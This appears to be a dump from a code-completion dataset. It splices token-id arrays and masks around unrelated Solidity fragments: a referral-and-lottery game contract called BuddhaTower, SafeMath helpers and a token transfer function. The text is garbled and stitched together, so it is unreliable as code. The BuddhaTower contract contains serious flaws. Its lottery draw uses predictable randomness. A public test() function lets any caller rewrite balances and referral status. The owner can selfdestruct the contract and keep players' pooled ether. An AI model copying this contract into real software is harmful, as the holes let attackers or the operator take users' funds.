8808,
7152,
734,
1769,
203,
203,
565,
445,
527,
9586,
12,
2867,
7152,
13,
1071,
1338,
5541,
288,
203,
3639,
2254,
1578,
7152,
734,
273,
2254,
1578,
12,
22216,
1380,
9904,
1769,
203,
3639,
2583,
12,
3771,
1332,
815,
63,
22216,
734,
65,
422,
1758,
12,
20,
3631,
315,
22216,
353,
1818,
444,
364,
3274,
429,
618,
8863,
203,
3639,
22310,
63,
22216,
734,
65,
273,
7152,
31,
203,
3639,
3626,
27687,
8602,
12,
22216,
16,
7152,
734,
1769,
203,
565,
289,
203,
203,
565,
445,
312,
474,
12,
11890,
1578,
7152,
734,
16,
1758,
358,
13,
1071,
1135,
261,
11890,
13,
288,
203,
3639,
27687,
7152,
273,
18531,
4784,
12,
22216,
734,
1769,
203,
3639,
2583,
12,
22216,
18,
81,
474,
12,
3576,
18,
15330,
16,
358,
3631,
315,
22216,
3377,
486,
312,
474,
1147,
8863,
203,
3639,
2254,
612,
273,
3274,
1538,
18,
6206,
12,
22216,
734,
13,
300,
404,
31,
203,
3639,
2240,
6315,
81,
474,
12,
869,
16,
612,
1769,
203,
3639,
327,
612,
31,
203,
565,
289,
203,
203,
565,
445,
7412,
1265,
12,
2867,
2
] |
pragma solidity ^0.4.22;
contract BuddhaTower {
event onBuy
(
address indexed buyerAddress,
uint256 amount,
uint256 currentHeight
);
event onSplit(
uint round,
uint luckyNumber,
address luckyPlayer
);
event onTimeup(
uint round,
address lastBuyer
);
event onQualifySuccess(
address applier
);
//==============================================================================
// __|_ _ __|_ _ .
// _\ | | |_|(_ | _\ .
//==============================================================================
struct RoundData {
uint256 maxHeight;
uint256 lotteryPool;
uint256 peakPool;
uint256 tokenPot;
uint[][] buyinfo;
address[] buyAddress;
uint256 startTime;
uint256 endTime;
address[] lotteryWinners;
address finalWinner;
}
mapping (address => uint256) public balanceOf;
address[] public holders;
uint256 public totalToken = 0;
// bool public active = false;
address private owner;
mapping (address => uint256) public ethOf;
mapping (address => address) public inviterOf;
mapping (address => bool) public qualified;
uint public price;
bool public emergencySwitch = false;
uint public height;
uint256 public lotteryPool;
uint256 public peakPool;
uint[7] public inviteCut = [10,8,6,2,2,1,1];
mapping(uint256 => RoundData) public roundData_;
mapping(address => uint256) public inviteIncome;
mapping(address => uint256) public lotteryIncome;
mapping(address => uint256) public finalIncome;
mapping(address => uint256) public tokenIncome;
uint256 public step = 100000000000;
uint public _rId;
address private lastBuyer;
mapping (address => bool) public banAddress;
mapping (address => uint[4]) public leefs;
uint public devCut = 0;
address public addr1 = 0x0b8E19f4A333f58f824e59eBeD301190939c63B5;//3.5%
address public addr2 = 0x289809c3Aa4D52e2cb424719F82014a1Ff7F2266;//2%
address public addr3 = 0xf3140b8c2e3dac1253f2041e4f4549ddb1aebd35;//2%
address public addr4 = 0x245aDe5562bdA54AE913FF1f74b8329Ab011D7e0;//dev cut
// uint public rand = 0;
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isEmergency() {
require(emergencySwitch);
_;
}
modifier isBaned(address addr) {
require(!banAddress[addr]);
_;
}
modifier isActive(){
require(
roundData_[_rId].startTime != 0,
"not Started"
);
_;
}
modifier onlyOwner(){
require(
msg.sender == owner,
"only owner can do this"
);
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too low");
require(_eth <= 100000000000000000000000, "too much");
_;
}
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor () public{
owner = msg.sender;
balanceOf[owner] = 1000000000000000000;//decimal 18
totalToken = 1000000000000000000;
leefs[owner] = [9,9,9,9];
holders.push(owner);
qualified[owner] = true;
_rId = 0;
price = 100000000000000000;
activate();
test();
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
function deposit(address _inviter, uint256 _amount)
isActive()
isHuman()
isWithinLimits(msg.value)
isBaned(msg.sender)
public
payable
{
require(_amount > 0 && _amount <= 1000);
require (msg.value >= (height * step + price + (height + _amount-1)*step + price)*_amount/2,"value not enough");
if(inviterOf[msg.sender]==0x0 && qualified[_inviter] && _inviter != msg.sender)
{
inviterOf[msg.sender] = _inviter;
}
buy(_amount);
}
function withdrawEth(uint _amount)
isBaned(msg.sender)
isHuman()
public
{
require(ethOf[msg.sender] >= _amount);
msg.sender.transfer(_amount);
ethOf[msg.sender] -= _amount;
}
function getLotteryWinner(uint _round, uint index) public
returns (address)
{
require(_round>=0 && index >= 0);
return roundData_[_round].lotteryWinners[index];
}
function getLotteryWinnerLength(uint _round) public
returns (uint)
{
return roundData_[_round].lotteryWinners.length;
}
function getQualified() public{
require(balanceOf[msg.sender] >= 1000000000000000000);
qualified[msg.sender] = true;
emit onQualifySuccess(msg.sender);
}
function getBuyInfoLength(uint256 rId) public
returns(uint)
{
return roundData_[rId].buyinfo.length;
}
function getBuyInfo(uint256 rId,uint256 index) public
returns(uint, uint)
{
require(index >= 0 && index < roundData_[rId].buyinfo.length);
return (roundData_[rId].buyinfo[index][0],roundData_[rId].buyinfo[index][1]);
}
function getBuyAddress(uint256 rId,uint256 index) public
returns (address)
{
require(index >= 0 && index < roundData_[rId].buyAddress.length);
return roundData_[rId].buyAddress[index];
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
function buy(uint256 amount) private{
if(now >= roundData_[_rId].endTime)
{
endTime();
}
require(amount > 0);
uint256 cost = (price + height*step + price + (height+amount-1)*step)*amount/2;
ethOf[msg.sender] += msg.value - cost;
roundData_[_rId].peakPool += cost*3/10;
roundData_[_rId].lotteryPool += cost/10;
roundData_[_rId].tokenPot += cost*17/100;
devCut += cost*55/1000;
ethOf[addr1] += cost*35/1000;
ethOf[addr2] += cost*20/1000;
ethOf[addr3] += cost*20/1000;
roundData_[_rId].buyinfo.push([height+1,height+amount]);
roundData_[_rId].buyAddress.push(msg.sender);
roundData_[_rId].endTime += amount * 60;//*60;
if (amount >= 10 && balanceOf[msg.sender] == 0)
holders.push(msg.sender);
uint256 tokenGet = amount/1000 * 11000000000000000000 + amount / 100 * 1000000000000000000 + amount/10*1000000000000000000;
address affect = 0x0;
if (balanceOf[msg.sender] < 1000000000000000000 && tokenGet > 1000000000000000000)
{
leefs[inviterOf[msg.sender]][0]+=1;
if(leefs[inviterOf[msg.sender]][0] == 3 && balanceOf[inviterOf[msg.sender]] >= 7000000000000000000 )
{
affect = inviterOf[inviterOf[msg.sender]];
leefs[affect][1]+=1;
if(leefs[affect][1] == 3 && balanceOf[affect] >= 20000000000000000000)
{
affect = inviterOf[affect];
leefs[affect][2]+=1;
}
}
}
if ((balanceOf[msg.sender] < 7000000000000000000 || leefs[msg.sender][0] < 3) && balanceOf[msg.sender] + tokenGet >= 7000000000000000000 && leefs[msg.sender][0] >= 3)
{
leefs[inviterOf[msg.sender]][1]+=1;
if(leefs[inviterOf[msg.sender]][1] == 3 && balanceOf[inviterOf[msg.sender]] >= 20000000000000000000 )
{
affect = inviterOf[inviterOf[msg.sender]];
leefs[affect][2]+=1;
}
}
if ((balanceOf[msg.sender] < 20000000000000000000 || leefs[msg.sender][1] < 3)&& balanceOf[msg.sender] + tokenGet >= 20000000000000000000 && leefs[msg.sender][1] >= 3)
leefs[inviterOf[msg.sender]][2]+=1;
balanceOf[msg.sender] += tokenGet;
totalToken+=tokenGet;
address inviter = inviterOf[msg.sender];
address inviter2 = inviterOf[inviter];
address inviter3 = inviterOf[inviter2];
address inviter4 = inviterOf[inviter3];
address inviter5 = inviterOf[inviter4];
address inviter6 = inviterOf[inviter5];
address inviter7 = inviterOf[inviter6];
if(inviter != 0x0){
ethOf[inviter] += cost * inviteCut[0]/100;
inviteIncome[inviter] += cost * inviteCut[0]/100;
}
if(inviter2 != 0x0 && balanceOf[inviter2] >= 7000000000000000000 && leefs[inviter2][0] >= 3){
ethOf[inviter2] += cost * inviteCut[1]/100;
inviteIncome[inviter2] += cost * inviteCut[1]/100;
}else{
roundData_[_rId].lotteryPool += cost * inviteCut[1]/100;
}
if(inviter3 != 0x0 && balanceOf[inviter3] >= 7000000000000000000 && leefs[inviter3][0] >= 3){
ethOf[inviter3] += cost * inviteCut[2]/100;
inviteIncome[inviter3] += cost * inviteCut[2]/100;
}else{
roundData_[_rId].lotteryPool += cost * inviteCut[2]/100;
}
if(inviter4 != 0x0 && balanceOf[inviter4] >= 20000000000000000000 && leefs[inviter4][1] >= 3){
ethOf[inviter4] += cost * inviteCut[3]/100;
inviteIncome[inviter4] += cost * inviteCut[3]/100;
}else{
roundData_[_rId].lotteryPool += cost * inviteCut[3]/100;
}
if(inviter5 != 0x0 && balanceOf[inviter5] >= 20000000000000000000 && leefs[inviter5][1] >= 3){
ethOf[inviter5] += cost * inviteCut[4]/100;
inviteIncome[inviter5] += cost * inviteCut[4]/100;
}else{
roundData_[_rId].lotteryPool += cost * inviteCut[4]/100;
}
if(inviter6 != 0x0 && balanceOf[inviter6] >= 100000000000000000000 && leefs[inviter6][2] >= 3){
ethOf[inviter6] += cost * inviteCut[5]/100;
inviteIncome[inviter6] += cost * inviteCut[5]/100;
}else{
roundData_[_rId].lotteryPool += cost * inviteCut[5]/100;
}
if(inviter7 != 0x0 && balanceOf[inviter7] >= 100000000000000000000 && leefs[inviter7][2] >= 3){
ethOf[inviter7] += cost * inviteCut[6]/100;
inviteIncome[inviter7] += cost * inviteCut[6]/100;
}else{
roundData_[_rId].lotteryPool += cost * inviteCut[6]/100;
}
if(roundData_[_rId].endTime - now > 86400)
{
roundData_[_rId].endTime = now + 86400;
}
if(height+amount >= (height/1000+1)*1000 )
{
lastBuyer = msg.sender;
splitLottery();
}
height += amount;
emit onBuy(msg.sender, amount, height);
}
// function getRand() public{
// rand = uint(keccak256(now, msg.sender)) % 1000 + 1 + _rId*1000;
// }
function splitLottery() private{
//随机一个赢家
uint random = uint(keccak256(now, msg.sender)) % 1000 + 1 + roundData_[_rId].lotteryWinners.length*1000;//瞎比写的
// rand = random;
//随机完毕
// uint startHeight = ((height/1000)-1)*1000;
uint i = 0;
uint start = 0;
uint end = roundData_[_rId].buyinfo.length-1;
uint mid = (start+end)/2;
while(end >= start)
{
if(roundData_[_rId].buyinfo[mid][0] > random)
{
end = mid-1;
mid = start+(end-start)/2;
continue;
}
if(roundData_[_rId].buyinfo[mid][1] < random)
{
start = mid+1;
mid = start+(end-start)/2;
continue;
}
break;
}
address lotteryWinner = roundData_[_rId].buyAddress[mid];
ethOf[lotteryWinner] += roundData_[_rId].lotteryPool*80/100;
lotteryIncome[lotteryWinner] += roundData_[_rId].lotteryPool*80/100;
roundData_[_rId].lotteryWinners.push(lotteryWinner);
for (i = 0; i < holders.length; i++)
{
ethOf[holders[i]] += roundData_[_rId].tokenPot* balanceOf[holders[i]]/totalToken;
tokenIncome[holders[i]] += roundData_[_rId].tokenPot* balanceOf[holders[i]]/totalToken;
}
step += 100000000000;
roundData_[_rId].lotteryPool = roundData_[_rId].lotteryPool*2/10;
emit onSplit(height/1000+1,random, lotteryWinner);
}
function endTime() private{
address finalWinner = owner;
if(roundData_[_rId].buyAddress.length > 0)
finalWinner = roundData_[_rId].buyAddress[roundData_[_rId].buyAddress.length-1];
//防止溢出
require(ethOf[finalWinner]+roundData_[_rId].peakPool*8/10 >= ethOf[finalWinner]);
ethOf[finalWinner] += roundData_[_rId].peakPool*8/10;
finalIncome[finalWinner] += roundData_[_rId].peakPool*8/10;
roundData_[_rId].finalWinner = finalWinner;
roundData_[_rId].maxHeight = height;
height = 0;
step = 100000000000;
_rId++;
roundData_[_rId].peakPool = roundData_[_rId-1].peakPool*2/10;
ethOf[owner] += roundData_[_rId-1].lotteryPool;
roundData_[_rId].lotteryPool = 0;
roundData_[_rId].startTime = now;
roundData_[_rId].endTime = now+86400;
emit onTimeup(_rId-1,finalWinner);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
function activate() public onlyOwner(){
height = 0;
_rId = 0;
roundData_[_rId].startTime = now;
roundData_[_rId].endTime = now + 86400;
// active = true;
}
function takeDevCut() public onlyOwner() {
// msg.sender.transfer(devCut);
addr4.transfer(devCut);
devCut = 0;
}
function wipeAll() public onlyOwner() {
selfdestruct(owner);
}
function emergencyStart() public onlyOwner() {
emergencySwitch = true;
}
function emergencyClose() public onlyOwner() {
emergencySwitch = false;
}
function addToBanlist(address addr) public onlyOwner() {
banAddress[addr] = true;
}
function moveFromBanlist(address addr) public onlyOwner() {
banAddress[addr] = false;
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
function test() public {
balanceOf[0x9485d0Ba2C55Aa248EbC127304775D9eBf3B4F08] = 200000000000000000000;
leefs[0x9485d0Ba2C55Aa248EbC127304775D9eBf3B4F08] = [5,5,5,0];
qualified[0x9485d0Ba2C55Aa248EbC127304775D9eBf3B4F08] = true;
balanceOf[0x23541528748089d3f872040Be188f443D31A358D] = 21000000000000000000;
leefs[0x23541528748089d3f872040Be188f443D31A358D] = [3,3,0,0];
qualified[0x23541528748089d3f872040Be188f443D31A358D] = true;
inviterOf[0x23541528748089d3f872040Be188f443D31A358D] = 0x9485d0Ba2C55Aa248EbC127304775D9eBf3B4F08;
balanceOf[0xC00a8B36396a8939531F0aC4d6DE18c35C96a1C9] = 8000000000000000000;
leefs[0xC00a8B36396a8939531F0aC4d6DE18c35C96a1C9] = [3,0,0,0];
qualified[0xC00a8B36396a8939531F0aC4d6DE18c35C96a1C9] = true;
inviterOf[0xC00a8B36396a8939531F0aC4d6DE18c35C96a1C9] = 0x23541528748089d3f872040Be188f443D31A358D;
inviterOf[0x42e3ea4F63ABe0a250892cE84Aca46fB54bA8d21] = 0xC00a8B36396a8939531F0aC4d6DE18c35C96a1C9;
}
} | ============================================================================== _ |_ |. _ |` _ __|_. _ _ _ . |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)====|========================================================================= | function deposit(address _inviter, uint256 _amount)
isActive()
isHuman()
isWithinLimits(msg.value)
isBaned(msg.sender)
public
payable
{
require(_amount > 0 && _amount <= 1000);
require (msg.value >= (height * step + price + (height + _amount-1)*step + price)*_amount/2,"value not enough");
if(inviterOf[msg.sender]==0x0 && qualified[_inviter] && _inviter != msg.sender)
{
inviterOf[msg.sender] = _inviter;
}
buy(_amount);
}
| 12,917,063 | [
1,
9917,
26678,
377,
389,
565,
571,
67,
571,
18,
389,
282,
571,
68,
565,
389,
225,
1001,
96,
27799,
389,
225,
389,
225,
389,
225,
263,
565,
571,
67,
14047,
67,
20081,
67,
14047,
96,
24899,
225,
4871,
96,
98,
96,
67,
20081,
571,
24899,
571,
571,
24899,
14047,
571,
22202,
225,
263,
225,
261,
1202,
4259,
358,
16592,
598,
6835,
13,
894,
96,
22121,
33,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
443,
1724,
12,
2867,
389,
5768,
2165,
16,
2254,
5034,
389,
8949,
13,
203,
3639,
15083,
1435,
203,
3639,
27803,
6925,
1435,
203,
3639,
353,
18949,
12768,
12,
3576,
18,
1132,
13,
203,
3639,
27057,
304,
329,
12,
3576,
18,
15330,
13,
203,
3639,
1071,
203,
3639,
8843,
429,
203,
565,
288,
203,
377,
202,
6528,
24899,
8949,
405,
374,
597,
389,
8949,
1648,
4336,
1769,
203,
377,
202,
6528,
261,
3576,
18,
1132,
1545,
261,
4210,
380,
2235,
397,
6205,
397,
261,
4210,
397,
389,
8949,
17,
21,
17653,
4119,
397,
6205,
17653,
67,
8949,
19,
22,
10837,
1132,
486,
7304,
8863,
203,
377,
202,
430,
12,
5768,
2165,
951,
63,
3576,
18,
15330,
65,
631,
20,
92,
20,
597,
9348,
63,
67,
5768,
2165,
65,
597,
389,
5768,
2165,
480,
1234,
18,
15330,
13,
203,
377,
202,
95,
203,
377,
202,
202,
5768,
2165,
951,
63,
3576,
18,
15330,
65,
273,
389,
5768,
2165,
31,
203,
377,
202,
97,
203,
3639,
30143,
24899,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xEEEEEcf99b5d7e9c0bca6E2769E895d8F956BbAF/sources/ERC20.sol | * @dev Returns the downcasted uint128 from uint256, reverting on overflow (when the input is greater than largest uint128). Counterpart to Solidity's `uint128` operator. Requirements: - input must fit into 128 bits/ | function toUint128(uint256 value) internal pure returns (uint128) {
if (value > type(uint128).max) {
revert SafeCastOverflowedUintDowncast(128, value);
}
return uint128(value);
}
| 4,210,421 | [
1,
1356,
326,
2588,
4155,
329,
2254,
10392,
628,
2254,
5034,
16,
15226,
310,
603,
9391,
261,
13723,
326,
810,
353,
6802,
2353,
12756,
2254,
10392,
2934,
9354,
2680,
358,
348,
7953,
560,
1807,
1375,
11890,
10392,
68,
3726,
18,
29076,
30,
300,
810,
1297,
4845,
1368,
8038,
4125,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
358,
5487,
10392,
12,
11890,
5034,
460,
13,
2713,
16618,
1135,
261,
11890,
10392,
13,
288,
203,
3639,
309,
261,
1132,
405,
618,
12,
11890,
10392,
2934,
1896,
13,
288,
203,
5411,
15226,
14060,
9735,
15526,
329,
5487,
4164,
4155,
12,
10392,
16,
460,
1769,
203,
3639,
289,
203,
3639,
327,
2254,
10392,
12,
1132,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xDf24D7F73Bec8D0B34915Ecd8a00AE3598A1fA2c/sources/contracts/EtchMarket.sol | * @notice This function is internal and is used to transfer fungible tokens. @param currency Currency address @param sender Sender address @param recipient Recipient address @param amount Amount (in fungible tokens)/ | function _transferFungibleTokens(address currency, address sender, address recipient, uint256 amount) internal {
if (currency == address(0)) {
_transferETHWithGasLimit(recipient, amount, _GAS_STIPEND_NO_STORAGE_WRITES);
IERC20Upgradeable(currency).safeTransferFrom(sender, recipient, amount);
}
}
| 3,171,088 | [
1,
2503,
445,
353,
2713,
471,
353,
1399,
358,
7412,
9831,
75,
1523,
2430,
18,
225,
5462,
13078,
1758,
225,
5793,
15044,
1758,
225,
8027,
23550,
1758,
225,
3844,
16811,
261,
267,
9831,
75,
1523,
2430,
13176,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
13866,
42,
20651,
1523,
5157,
12,
2867,
5462,
16,
1758,
5793,
16,
1758,
8027,
16,
2254,
5034,
3844,
13,
2713,
288,
203,
3639,
309,
261,
7095,
422,
1758,
12,
20,
3719,
288,
203,
5411,
389,
13866,
1584,
44,
1190,
27998,
3039,
12,
20367,
16,
3844,
16,
389,
43,
3033,
67,
882,
2579,
4415,
67,
3417,
67,
19009,
67,
7181,
1285,
3991,
1769,
203,
5411,
467,
654,
39,
3462,
10784,
429,
12,
7095,
2934,
4626,
5912,
1265,
12,
15330,
16,
8027,
16,
3844,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SafeMath
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
